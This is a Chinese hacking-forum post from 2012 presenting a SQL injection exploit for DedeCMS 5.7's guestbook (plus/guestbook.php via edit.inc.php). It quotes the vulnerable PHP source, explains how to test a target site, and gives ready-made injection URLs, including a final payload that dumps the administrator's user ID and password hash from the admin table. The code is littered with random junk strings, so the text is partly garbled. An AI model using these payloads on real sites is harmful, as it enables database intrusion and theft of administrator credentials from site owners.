找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3970|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
) k( m1 E6 |1 {0 [4 R  r' R- C- d0 [( K' S4 g* K
漏洞文件edit.inc.php具体代码:
" l: F9 c6 u7 H2 `* D
, n( [/ w# G/ c( Q/ R8 p< ?php  
/ i6 S) F* A9 W' G# L
8 @0 i8 N8 V3 _, k, H" `7 D7 ]if(!defined('DEDEINC')) exit('Request Error!');  ) K4 o3 L6 Z/ P( q
# h/ ~! r. K9 m& E
   
/ c5 F; x% ^. x" j9 X
) q1 y* n- ^( T* U- y4 vif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
: {3 @1 `( ]  O2 g; ~, Y
! _- @) K& U3 ~/ I2 X2 d. a$ Q+ Z0 zelse $GUEST_BOOK_POS = "guestbook.php";  $ a7 r# h8 Q3 h% u0 L8 t  ^

( h# M  S8 b% \$ R: ]1 R9 [   ; ^0 u2 R# e- e+ B; X6 L& _, @
& X4 k6 Q/ E6 B3 Y8 ?+ B
$id = intval($id);  $ z# A5 `" M3 S0 K* v, D) {
& n) M7 i5 o  y4 z% [+ A" Y7 F  J+ t
if(empty($job)) $job='view';  
- @7 \% ^/ J2 \3 V4 q+ u# u/ N2 F) d2 O/ w1 R! N
   
2 h7 k; g5 E9 W  d8 X3 @! ]9 d/ K* l. [% c9 K
if($job=='del' && $g_isadmin)  
: y# D$ Z% l* S0 J" M
& X& n4 M# ?  a: \0 a6 J{  + H0 e7 _. j0 S

  Q7 v: p; D- i# l( u+ |2 F. T# [$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
; c1 d3 J4 k. b. T5 B" _6 A9 F' E% r4 Y; P
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  ! ]' _/ }0 Z3 E  R( L+ |

  [& W! c9 D7 v8 wexit();  
- t" V0 z9 _/ ]8 N+ Z
& y* v; D1 |0 f+ a) P5 g- b* I* U}  + \2 N8 g8 ^- \/ I

% d4 D" N: l4 a! E" t; Aelse if($job=='check' && $g_isadmin)  
1 u+ R, l/ Q7 f5 }" D8 }3 `" u  @9 I8 _- ^; o/ d9 z: x
{  
- L0 N0 A! b* `' H* {
3 {% c" t9 Y; a$ P- k2 m5 @$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
7 o! }" Z2 l- l* P, R! ]+ M
. u2 y% B% F9 l2 E% T7 V! pShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  : l1 m2 q5 L! w! ^0 {
2 ?4 o5 V/ Q5 J9 ]7 O
exit();  2 {8 g, a8 a/ s

& E5 ^7 E/ `3 ^1 [* x) ?6 N$ g}  , h# C! o- R' I1 d$ O. p
! o( L; ^# H. d: ~
else if($job=='editok')  # V3 R4 @) c: ?& o
! M$ l. X* O% e' d2 e/ x
{  * d1 b2 X7 @  K. N8 q0 E0 H4 j

/ S( y: J+ `+ K$remsg = trim($remsg);  ) H: ~) x/ U! y5 i$ p

; C8 q# u5 d% Y1 |4 b$ |if($remsg!='')  
$ Y4 K! d: H: s7 \! v) @5 u( F& |1 D& E+ [
{  
2 R" D$ i& b! Y" D% s
' @+ ^& r- K4 R. ]//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% w5 b: C# n/ x- h, }* ]; W3 Q2 z/ a& S8 S0 X, n5 |; @/ B$ w
if($g_isadmin)  3 H- I, s  z; ~2 f+ o/ i% d2 g
4 K  s7 t4 `% s" j% J( E; z
{  
' c" J6 \7 s7 j# @7 y  R. P( t3 w1 t+ J1 X6 ^5 P8 e
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  # c9 G8 c& F- U% w9 ?! ~/ x( x

' E/ L) ~' `6 U0 j1 n//$remsg <br /><font color=red>管理员回复:</font> }  
% P. f9 G& `7 S" F% c- I
# B1 l- F/ w' N; o. Jelse
4 J+ M# U7 }* c0 c( V. y$ Q' Q/ W
{  + S( ^# Y* i* w4 `

% j" ?# _# u/ A: A5 S$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  / c% w0 S$ f3 I3 f( C! K' c

. U7 X: G$ C: e  H4 W2 @$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  , T- R/ I4 o. A' Z
) I1 q0 W, @3 \/ B. C6 x
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
+ ?8 K) R0 w- N, t* `+ k4 w' F) `# d+ K0 M
$msg = $oldmsg.$remsg;  * x) f9 h' G- {5 K

. B+ X9 e' v" m' O( S: c}  
/ v0 h% P  N1 p% I3 G1 o2 f
: B" g; e4 }3 u/ o}  
$ Y# i. y( t# r# M" L2 N) }1 `8 @# j9 r2 G/ k4 U
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  6 H- N& e$ L2 t# k$ E

" k5 R9 Z' g) y# j4 i! X- I; N0 z$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ; q- v4 p3 L: o4 l; K5 _, d; l
( T- c/ c+ i- y1 i6 `
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
8 s: j: U" m, [) ?# m
. h+ {& ?1 D& N" k8 {1 \% m. ?exit();  ; k$ k0 C$ u5 J" s3 s4 [0 y
9 t# l5 }' m% _1 l
}  ' v% J+ O; e1 k+ R) g  y2 J7 f4 ^/ `

9 X3 E% f* R2 t//home:www.errs.cc  
# H6 T4 k9 T  h+ _; Z  n
$ F, L8 p' d" ^; dif($g_isadmin)  
- K. ~" N8 B, E6 f* C) N& I
: g  C1 z, U" T$ h  U$ H{  ) H$ o, W# W; s5 I: ^  ]- [7 b
7 n3 U; N" f+ \0 w2 H& |) {% {
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  1 P2 t: P" U3 x- `0 _$ e

  w. m4 [: t% }1 B2 i1 B: b& {6 Mrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
5 B* V7 @/ Y8 O% K; g9 W! _) z+ Z
4 k. }8 A# d" q6 m" g$ @}  
: \# G3 g2 m% Y4 x) {9 m% Q6 K8 Q" @
else
' U1 r+ P# O8 u( e
* b6 R8 X6 F3 ~$ T0 m+ W& n9 }9 r{  
2 _& |# G4 P% j5 ^/ u4 j# n0 S5 g. f8 [* y( T
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
7 n( A& ^9 q5 D
, N  T3 V& B+ o8 {5 N4 vrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
: M4 v9 W8 ~, s6 X1 S, h4 ^4 T  l  i9 N% c6 X* X4 I- x" i
} 漏洞成功需要条件:
/ a: i9 M) Z" Z0 l% `8 |6 l% n7 o1. php magic_quotes_gpc=off
1 O( M: x3 w- q# Q2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
0 h; c# T8 Z( u$ O! E; E" S3 X! A+ [
怎么判断是否存在漏洞:$ O2 W1 ]3 D+ I: Z4 L0 A% u7 i
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,( m7 \0 {8 L' N
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; C8 n# [6 z7 ^4 H9 }
访问:
+ I* o7 W/ ?" n* Z2 ~& O
/ v& j7 O' E; s/ _www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了: K) ?" k0 ~( J$ N
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证- ~. V& H( s" k

1 @3 s2 q' A" i" U# S4 K1 h4 D
" ~: Y. L) D6 E# ]: m5 H明漏洞无法利用应为他开启了 php magic_quotes_gpc=off. I! s1 y- S) A
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。4 F' @0 [/ g# q& y" w8 M: q
那么再次访问6 j7 }" c" i" \, l5 l; l" D6 o' \

' M* O, J% ?! z: K; O% h. H# P, ?3 Y$ iwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().0 o4 \- N- ~) I3 |; ]) w7 \

4 l( O" u/ \* a0 [大概利用就是这样,大家有兴趣的多研究下!!, q7 l  X6 D( J) A: Z

: n0 p4 a: L! C# O最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!3 V+ u6 V9 K; T5 h
: e5 Q: u; C+ p5 ~3 Q0 D. P1 P, ?+ B! z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表